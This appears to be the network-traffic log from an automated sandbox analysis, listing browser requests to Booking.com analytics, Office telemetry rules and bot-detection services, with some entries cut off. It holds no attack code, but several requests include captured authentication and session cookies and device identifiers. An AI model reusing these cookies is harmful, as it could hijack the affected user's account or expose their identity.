Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383126246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413730253f442d30412d3a32707471726d273230253141253230706327303a273744 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=3131303a262668636b3f3126606073613f253d422d37402d3a326d6d2d303a273241363330253241363737273a413335323b253746253a432d37402d3a326d6d2d303a273241363235253241363832273a413335333c253746253a432d37402d3a326d6d2d303a273241363231253241363837273a4133353138253746253a432d37402d3a326d6d2d303a273241353b3725324136383b273a413335313a253746253a432d37402d3a326d6d2d303a273241353b33253241363930273a413335363c253746253a432d37402d3a326d6d2d303a273241353b30253241363937273a4133353438253746253a432d37402d3a326d6d2d303a273241353a3825324136393a273a413335343e253746253a432d37402d3a326d6d2d303a273241353a35253241373033273a413335353e253746253a432d37402d3a326d6d2d303a273241353a33253241373031273a4133353b3a253746253a432d37402d3a326d6d2d303a273241353a31253241373037273a4133353b3f253746253a432d37402d3a326d6d2d303a273241353539253241373035273a4133363230253746253a432d37402d3a326d6d2d303a27324135353725324137303b273a413336303b253746253a432d37402d3a326d6d2d303a273241353536253241373133273a413336303e253746253a432d37402d3a326d6d2d303a273241353535253241373130273a4133363131253746253a432d37402d3a326d6d2d303a273241353533253241373131273a413336373c253746253a432d37402d3a326d6d2d303a273241353532253241373136273a4133363731253746253a432d37402d3a326d6d2d303a273241353531253241373137273a4133363431253746253a432d37402d3a326d6d2d303a273241353530253241373134273a4133363a3d253746253a432d37402d3a326d6d2d303a273241353530253241373135273a4133363a31253746253a432d37402d3a326d6d2d303a27324135343925324137313a273a4133373238253746253a432d37402d3a326d6d2d303a27324135343825324137313a273a413337333e253746253a432d37402d3a326d6d2d303a27324135343825324137313b273a4133373039253746253a432d37402d3a326d6d2d303a273241353437253241373232273a4133373139253746253a432d37402d3a326d6d2d303a273241353436253241373232273a413337363f253746253a432d37402d3a326d6d2d303a273241353436253241373233273a413337373a253746253a432d37402d3a326d6d2d303a273241353435253241373233273a413337343b253746253a432d37402d3a326d6d2d303a273241353435253241373230273a4133373530253746253a432d37402d3a326d6d2d303a273241353434253241373230273a4133373b3c253746253a432d37402d3a326d6d2d303a273241353433253241373231273a4133383231253746253a432d37402d3a326d6d2d303a273241353432253241373236273a413338303e253746253d442e606a7b6b5f696e6c67703f31 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Co
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383126246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413530253f442d30412d3a32707471726d273230253141253230706327303a273744 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31343130262668636b3f3126606073613f253d422d37402d3a326d6d2d303a273241353438253241363430273a413433343e253746253a432d37402d3a3274253a302d30432732305350414c253231273a314125303b253030253a433c31353f2d3544253a412d37422732306d6d2530322530413d353325304b35343b253a433c31353f2d3544253a412d374227323074253230253241273a306275767c6f6c27323b253a31432d3a3325323a273a413431383b25354427324327374a2732326f65253030253a433d353a2d3a4335303a273a413431383b25354427324327374a273232762d323027324b253a305158494e25323b273a3141273231253232273243363638312535462d324127354a253a306f652d3232253a413d3a32273241343432273243363638312535462d324127354a253a30762d3a3225324b273a305352414c25323327323360777c766f6e273a332730322d324b3636383f2535442d304b2735402530326d6d27323227304b373835273a43313a392d324b3636383f2535442d304b2735402530326d6d27323227304b373839273a433136302d324b36363a392535442d304b273540253032742530322530412d303273776a6d6b76253a332d30314c415625323b273a302530433634353227354427304b273542273a326f6f253a322d30413d313225324b3031352530433634353227354427304b273542273a327627323a253a41273a3a7465787c273a316c6d676b6e6e616f652530314c4b5625303b253030253a433c36373e2d3544253a412d37422732306d6d2530322530413d3b3525304b323735253a433c36373e2d3544253a412d37422732306d6d2530322530413d3b3725304b323030253a433c36343e2d3544253a412d374227323074253230253241273a304c41404d4c2730332d323b464b5e2d3233253a302d304336343a32253546253241273d40253230656d2730322d324b373b312d32433131322d304336343a32253546253241273d402532307c253030253a432d303040392532336d3b6b3a363264312d343235382d36346e602d623a3d632f64393d39693a3b6b3e6533662d303b464954253033253230253241363c3a3825374c253041253d422d303065652532322d304b343033253043313630253241363c3a3825374c253041253d422d303065652532322d304b343031253043313334253241363c3b3825374c253041253d422d30307c2d3232253a412d3032464954253233273233464b5e273233273a322730433c353931273d4c2532432d374a2732306d6f25323227324334323d2732433339332730433c353931273d4c2532432d374a2732306d6f25323227324334323e2732433b3a253041343d313027374c2d3243253d402d30326f6d27323225304336323a2d304337312d324136353a382d37462d3a4325354a273a30742732302532432732324c435e273233273a334a47414c455a27303b2d3232253a413c373437253744253241253540273a306d6d273a322730433e303127304b3d3625324b363d363527354625324327354227303a762532302d324127323a412d30312d3a335350494c2d303327323025324336353532273d462532412d354027323a6d6527303a2d32433639322d304336312732433437353027374c273243273d42273032656d2d30302d3a43363139273a41323a253043343534302537462d304325374a253030742d323a27304b2d32324e49542d303327323148454146455227303b273232273a433637373f253d46273a4b2535422d303a6f6d27323025324334313227304b333525304b343735372d354c27304b2d3542253a307c273230253043253230484543464d502532312d323146495e253a31273a3a2532433c373132253744273243253742
Source: global traffic	HTTP traffic detected: GET /AQL5SM1NVAqeb4XN?4aed018665df677a=c2qMIlWahQb2QgdDVhil6KSN8n-LtiVi2t4HZwq8njEC8ZIGdL5XBhfh9_yKY74sZdOLoHptvp8dNXi8Uczsd-sN1mheva74QIkDd0fUyKlsYR8hhCHU81JwAcmOF5Epq0vqnLO4h4w10WHbs8Wl1HIA_Wo&jac=1&je=3139262477656b3f3935332e303d342c3035382e3e3a HTTP/1.1Host: asanalytics.booking.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383126246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413a33253f442d30412d3a32707471726d273230253141253230706327303a273744 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /libs/asec/btmgmt/px.v7.5.3.min.js HTTP/1.1Host: r.bstatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=36383024266a6361353326626a7b633f27354a253d40273a3a7425323a273a412530324c415625303325303140474144475a253031253a322d30413f3c3134253d462d30432735402532326f6d2530302d304336323d253041313b253a41353c393425354c273a412537422732326d6f253230273a413630372d324133332d324b3536393c2535442d304b2735402530326d6d27323227304b343033273a433432253a433f36303e2d3544253a412d374227323074253230253241273a304449542d323127323b444154273a3b2532322d304b353431362735442530432537402d30326d6f2d323027324b363830273a4b3130322d304b353431362735442530432537402d303274273a322730432d323a4a332d3a3365396b3a3e3264312d363237382f34366460256038356125663b373969383161346d3b6625323b4641542530332732322530433736373a273544273a432737422d323a6f6f2d3a3225324b3438332530433333392530433736373a273544273a432737422d323a76273a3a2532432d303a464954253033253231444954273a312532302d324135343e362d37462d3a4325354a273a306d6f25303225324135393b273a413137312d324135343e362d37462d3a4325354a273a307427323025324327323276677076253231646f656b6e66616567273a3b4449562d303b273230253043373435312537462d304325374a2530306d65253a30273a4b3539382d304b303036253043373435312537462d304325374a2530306d65253a30273a4b3539372d304b30333025304337343a322537462d304325374a253030742d323a27304b2d323246475045273231253033444954253231273a302532413f343b3a253d442d30412d3d4225323a6f65273230253043353934253241303d342532413f343b3a253d442d37462e6a687363576b6666657a3d31 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /api/v2/collector HTTP/1.1Host: collector-pxikkul2rm.px-cloud.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413332392d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31333733262668636b3f3126606073613f253d422d37402d3a3274253a302d30432732307375626f697427303b2732334641562730332d323a27304b3f3530322d374c2732412537422532306d6d27303a2732433731362730433a373127304b3f3530322d374c2732412537422532306d6d27303a2732433731352730433a393127304b3f3531332d374c273241253742253230742530302d304325303a464d504d2d323b27303b4c4956253a312d30322732413735323b253546273a412535402d32306f6d2d323a27304b3d3934253a413b33372732413735323b253546273a412535402d323076253a322d30412d3a3262757c76676c2530332732334127323327303a273243353d333627354c253a41273d4a253232656f2d303227324135393427324331313b273243353d333627354c253a41273d4a253232656f2d3032273241353933273243313630273243353d343727354c253a41273d4a253232656f2d3032273241353932273243313439273243353d353b27354c253a41273d4a2532327c273a30253043273232444b562530312d3033444b5e253031253a322d30413f3d3636253d462d30432735402532326f6d2530302d3043353b3a253041333f332d30413f3d3636253d462d30432735402532326f6d2530302d3043353b392530413330332d30413f3d3737253d462d30432735402532326f6d2530302d3043353b392530413331332d30413f3d3931253d462d30432735402532326f6d2530302d3043353b382530413438322d30413f3d3936253d462d30432735402532326f6d2530302d3043353a312530413438392d30413f3e3036253d462d30432735402532326f6d2530302d3043353a312530413439362d30413f3e3233253d462d304327354025323276253230273a412532305b50434c253a332d3031492d3233253a302d304335363039253546253241273d40253230656d2730322d324b373a302d3243343a312d304335363039253546253241273d40253230656d2730322d324b373a302d3243343a3a2d304335363139253546253241273d40253230656d2730322d324b373a302d3243343b312d304335363733253546253241273d40253230656d2730322d324b373a302d3243343b3a2d304335363739253546253241273d40253230656d2730322d324b373a302d3243343c302d304335363439253546253241273d402532307c253030253a432d30304e47524d253a312d303346495425323327323227304b3536383b2d354627324b253d40273a3a6d6d253a302d304337383a25324336343627304b3536383b2d354627324b253d40273a3a6d6d253a302d304337383a25324336343927304b353730332d354627324b253d40273a3a6d6d253a302d304337383a25324336353227304b353733322d354627324b253d40273a3a6d6d253a302d304337383a25324336353527304b353734302d354627324b253d40273a3a6d6d253a302d304337383a25324336353727304b353735312d354627324b253d40273a3a7425323a273a41253032607574746d6e2530312d303341273a332730322d324b35353e3d2535442d304b2735402530326d6d27323227304b373838273a433634302d324b35353e3d2535442d304b2735402530326d6d27323227304b373838273a433634322d324b3535303d2535442d304b2735402530326d6d27323227304b373838273a433634332d324b3535313d2535442d304b2735402530326d6d27323227304b373838273a433634352d324b353a39382535442d304b2735402530326d6d27323227304b373838273a433634362d324b353a3a3e2535442d304b2735402530326d6d27323227304b373838273a433634382d324b353a3f382535442d374c24626a73615f696e6665
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413330302d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; 